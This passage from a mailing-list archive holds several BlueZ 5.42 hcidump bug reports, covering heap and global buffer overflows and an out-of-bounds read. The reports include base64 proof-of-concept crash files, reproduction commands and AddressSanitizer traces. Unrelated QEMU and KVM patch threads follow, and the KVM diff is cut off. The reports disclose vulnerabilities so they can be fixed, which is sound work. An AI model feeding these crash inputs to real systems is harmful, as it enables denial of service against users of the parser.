Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==6337==ABORTING
[-- Attachment #10: read_n_BO.txt --]
[-- Type: text/plain, Size: 9360 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An buffer overflow was observed in "read_n" function in "tools/hcidump.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
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
j48=
Affected code:
104 static inline int read_n(int fd, char *buf, int len)
105 {
106 int t = 0, w;
107
108 while (len > 0) {
109 if ((w = read(fd, buf, len)) < 0) {
110 if (errno == EINTR || errno == EAGAIN)
111 continue;
112 return -1;
113 }
114 if (!w)
115 return 0;
116 len -= w; buf += w; t += w;
117 }
118 return t;
119 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==19127==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001f75c at pc 0x7034529f99b6 bp 0x7289d18014f0 sp 0x7289d18014d8
WRITE of size 3712 at 0x61b00001f75c thread T0
#0 0x7034529f99b5 in read (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x299b5)
#1 0x403a3b in read_n tools/hcidump.c:109
#2 0x403a3b in read_dump tools/hcidump.c:397
#3 0x403a3b in main tools/hcidump.c:810
#4 0x703452646b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#5 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x61b00001f75c is located 0 bytes to the right of 1500-byte region [0x61b00001f180,0x61b00001f75c)
allocated by thread T0 here:
#0 0x703452a2473f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
#1 0x402f12 in read_dump tools/hcidump.c:288
#2 0x402f12 in main tools/hcidump.c:810
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 read
Shadow bytes around the buggy address:
0x0c367fffbe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fffbee0: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c367fffbef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==19127==ABORTING
[-- Attachment #11: sdp_dump_OOB.txt --]
[-- Type: text/plain, Size: 3960 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An out-of-bound read was observed in "sdp_dump" function in "tools/parser/sdp.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAABP8EDP///3//AgICFwIXAAEAAj4AAAEAAAC1tY8ABADrGgD/jikAmM0gAPf/GRAAkI0VAJ8C
AgITAhcAAAAFPgAAAQz///9//wICAhcCFwABAAI+AAAAtbX/GRAAkI0VAJ8CAgAAAPgCAgICQAAA
Affected code:
749 case SDP_SERVICE_ATTR_RSP:
750 /* Parse AttributeByteCount */
751 count = p_get_u16(frm);
752 p_indent(level + 1, frm);
753 printf("count %d\n", count);
754
755 /* Parse ContinuationState */
756 cont = *(unsigned char *)(frm->ptr + count);
757
758 if (cont == 0) {
759 /* Parse AttributeList */
760 print_attr_list(level + 1, frame_get(frm, count));
761 } else
762 frame_add(frm, count);
763
764 print_cont_state(level + 1, frm->ptr + count);
765 break;
766
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==17871==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001fe8f at pc 0x4e30b5 bp 0x7ce9e036fa90 sp 0x7ce9e036fa88
READ of size 1 at 0x61b00001fe8f thread T0
#0 0x4e30b4 in sdp_dump tools/parser/sdp.c:756
#1 0x49a9c2 in l2cap_parse tools/parser/l2cap.c:1464
#2 0x479c9c in acl_dump tools/parser/hci.c:4041
#3 0x479c9c in hci_dump tools/parser/hci.c:4120
#4 0x4035d4 in parse tools/parser/parser.h:260
#5 0x4035d4 in read_dump tools/hcidump.c:425
#6 0x4035d4 in main tools/hcidump.c:810
#7 0x6c387c278b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#8 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: heap-buffer-overflow tools/parser/sdp.c:756 sdp_dump
Shadow bytes around the buggy address:
0x0c367fffbf80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c367fffbfd0: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffc000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffc010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffc020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==17871==ABORTING
[-- Attachment #12: set_ext_ctrl_BO.txt --]
[-- Type: text/plain, Size: 3973 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An buffer overflow was observed in "set_ext_ctrl" function in "tools/parser/l2cap.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAKABAAAKKAABU0AgAAA+gXAAEABf9WAAAAIAICNwcABwICNwcCAjcHACCAKhU0AgIAAAMXAAEA
Bf//////IK+vr6+vr6+vr6+vr6+vr6+vr6+np6enp6enp6enp6enp6enp6enp6enp6enp6enp29v
b29vb29vb29vb29vb29vb29vb4AAAQAWPk0+WBr/gAD2BAEAEj4+AQAAALoAAwQBABA+Pj5YAAEf
AA7mAQA+CAQSPj4+WBo1utgDBAEAEj4+PUI6Pro=
Affected code:
225 static void set_ext_ctrl(int in, uint16_t handle, uint16_t cid,
226 uint8_t ext_ctrl)
227 {
228 register cid_info *table = cid_table[in];
229 register int i;
230
231 for (i = 0; i < CID_TABLE_SIZE; i++)
232 if (table[i].handle == handle && table[i].cid == cid)
233 table[i].ext_ctrl = ext_ctrl;
234 }
235
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==29005==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000830251 at pc 0x48d708 bp 0x7b4d8ac14f70 sp 0x7b4d8ac14f68
WRITE of size 1 at 0x000000830251 thread T0
#0 0x48d707 in set_ext_ctrl tools/parser/l2cap.c:233
#1 0x48d707 in conf_opt tools/parser/l2cap.c:691
#2 0x498a05 in conf_rsp tools/parser/l2cap.c:781
#3 0x498a05 in l2cap_parse tools/parser/l2cap.c:1256
#4 0x479c9c in acl_dump tools/parser/hci.c:4041
#5 0x479c9c in hci_dump tools/parser/hci.c:4120
#6 0x4035d4 in parse tools/parser/parser.h:260
#7 0x4035d4 in read_dump tools/hcidump.c:425
#8 0x4035d4 in main tools/hcidump.c:810
#9 0x6d210d1b7b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#10 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x000000830251 is located 1 bytes to the right of global variable 'frame_table' from 'tools/parser/sdp.c' (0x82ff80) of size 720
SUMMARY: AddressSanitizer: global-buffer-overflow tools/parser/l2cap.c:233 set_ext_ctrl
Shadow bytes around the buggy address:
0x0000800fdff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000800fe040: 00 00 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9
0x0000800fe050: 00 00 00 00 00 00 00 00 00 00 04 f9 f9 f9 f9 f9
0x0000800fe060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==29005==ABORTING
[-- Attachment #13: set_mode_BO.txt --]
[-- Type: text/plain, Size: 4058 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An buffer overflow was observed in "set_mode" function in "tools/parser/l2cap.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
LQAABP8EDEgAtSy2BA7/AAEQEJABgDIAAAAD6LcaAAEGhwH//39vlgAAAQABAAA9PggAav8HAD4+
IABF2RlAAKKA0xU0AgAAAAEXAAEABf9WAAAAIBkCAAEQAAAANPVq/wcAPj4gACneGUAAooDTFTQC
AAAAARcAAQAF/1YAAAAgGQIAARAAAAA09fECFw4CAAEAAH8VAADeAAAAAEABANM9PggAgP8HAD4+
IAAp+BlAAKKA0xU0AgAA8wEyAAEABf9WAAAAIBkCAAEQAAAANPXxAhcOAgABAAB/FQAAAAAAAABA
AQDTPT4IAID/BwA+PiAAKfgZQACigNMVNAIAGgDTPT4IAID/BwA+PiAAKfgAAW+WAAABAAEAAD0+
CABq/wcAPj4gACnZGUAAooDTFTQCAAAAARcAAQAF/1YAAADeGUAAooDTFTQCAAA=
Affected code:
204 static void set_mode(int in, uint16_t handle, uint16_t cid, uint8_t mode)
205 {
206 register cid_info *table = cid_table[in];
207 register int i;
208
209 for (i = 0; i < CID_TABLE_SIZE; i++)
210 if (table[i].handle == handle && table[i].cid == cid)
211 table[i].mode = mode;
212 }
213
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==29456==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000833090 at pc 0x48d41c bp 0x7b8662e79fa0 sp 0x7b8662e79f98
WRITE of size 1 at 0x000000833090 thread T0
#0 0x48d41b in set_mode tools/parser/l2cap.c:211
#1 0x48d41b in conf_opt tools/parser/l2cap.c:657
#2 0x498a05 in conf_rsp tools/parser/l2cap.c:781
#3 0x498a05 in l2cap_parse tools/parser/l2cap.c:1256
#4 0x479c9c in acl_dump tools/parser/hci.c:4041
#5 0x479c9c in hci_dump tools/parser/hci.c:4120
#6 0x4035d4 in parse tools/parser/parser.h:260
#7 0x4035d4 in read_dump tools/hcidump.c:425
#8 0x4035d4 in main tools/hcidump.c:810
#9 0x7af38a9c4b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#10 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x000000833090 is located 0 bytes to the right of global variable 'table' from 'tools/parser/cmtp.c' (0x830340) of size 11600
SUMMARY: AddressSanitizer: global-buffer-overflow tools/parser/l2cap.c:211 set_mode
Shadow bytes around the buggy address:
0x0000800fe5c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe5d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe5e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe5f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000800fe610: 00 00[f9]f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0000800fe620: 00 00 00 00 00 00 00 00 00 00 00 00 01 f9 f9 f9
0x0000800fe630: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
0x0000800fe640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800fe650: 00 00 00 00 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000800fe660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==29456==ABORTING
^ permalink raw reply
* Re: [Qemu-devel] [RFC 0/3] aio: experimental virtio-blk polling mode
From: Stefan Hajnoczi @ 2016-11-14 17:06 UTC (permalink / raw)
To: Paolo Bonzini
Cc: Karl Rister, Stefan Hajnoczi, qemu-devel, Andrew Theurer,
Fam Zheng
In-Reply-To: <90b5f81f-eab0-72dc-63b8-143477cb5286@redhat.com>
[-- Attachment #1: Type: text/plain, Size: 1526 bytes --]
On Mon, Nov 14, 2016 at 04:29:49PM +0100, Paolo Bonzini wrote:
> On 14/11/2016 16:26, Stefan Hajnoczi wrote:
> > On Fri, Nov 11, 2016 at 01:59:25PM -0600, Karl Rister wrote:
> >> QEMU_AIO_POLL_MAX_NS IOPs
> >> unset 31,383
> >> 1 46,860
> >> 2 46,440
> >> 4 35,246
> >> 8 34,973
> >> 16 46,794
> >> 32 46,729
> >> 64 35,520
> >> 128 45,902
> >
> > The environment variable is in nanoseconds. The range of values you
> > tried are very small (all <1 usec). It would be interesting to try
> > larger values in the ballpark of the latencies you have traced. For
> > example 2000, 4000, 8000, 16000, and 32000 ns.
> >
> > Very interesting that QEMU_AIO_POLL_MAX_NS=1 performs so well without
> > much CPU overhead.
>
> That basically means "avoid a syscall if you already know there's
> something to do", so in retrospect it's not that surprising. Still
> interesting though, and it means that the feature is useful even if you
> don't have CPU to waste.
Can you spell out which syscall you mean? Reading the ioeventfd?
The benchmark uses virtio-blk dataplane and iodepth=1 so there shouldn't
be much IOThread event loop activity besides the single I/O request.
The reason this puzzles me is that I wouldn't expect poll to succeed
with QEMU_AIO_POLL_MAX_NS and iodepth=1.
Thanks,
Stefan
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 455 bytes --]
^ permalink raw reply
* Re: [PATCH] KVM: x86: do not go through vcpu in __get_kvmclock_ns
From: Marcelo Tosatti @ 2016-11-14 17:05 UTC (permalink / raw)
To: Radim Krčmář; +Cc: Paolo Bonzini, linux-kernel, kvm
In-Reply-To: <20161114145239.GA2185@potion>
On Mon, Nov 14, 2016 at 03:52:40PM +0100, Radim Krčmář wrote:
> 2016-11-11 11:12+0100, Paolo Bonzini:
> > Going through the first VCPU is wrong if you follow a KVM_SET_CLOCK with
> > a KVM_GET_CLOCK immediately after, without letting the VCPU run and
> > call kvm_guest_time_update.
> >
> > This is easily fixed however, because kvm_get_time_and_clockread provides
> > the information we want.
> >
> > Reported-by: Marcelo Tosatti <mtosatti@redhat.com>
> > Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
> > ---
> > arch/x86/kvm/x86.c | 18 ++++++++++--------
> > 1 file changed, 10 insertions(+), 8 deletions(-)
> >
> > diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> > index 1ba08278a9a9..1c16c6d7df7a 100644
> > --- a/arch/x86/kvm/x86.c
> > +++ b/arch/x86/kvm/x86.c
> > @@ -1620,6 +1620,11 @@ static bool kvm_get_time_and_clockread(s64 *kernel_ns, cycle_t *cycle_now)
> >
> > return do_monotonic_boot(kernel_ns, cycle_now) == VCLOCK_TSC;
